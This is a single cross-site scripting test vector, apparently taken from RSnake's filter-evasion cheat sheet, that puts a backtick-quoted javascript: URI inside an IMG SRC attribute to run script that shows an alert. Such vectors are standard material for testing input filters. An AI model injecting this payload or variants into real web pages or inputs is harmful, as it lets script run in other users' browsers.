<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
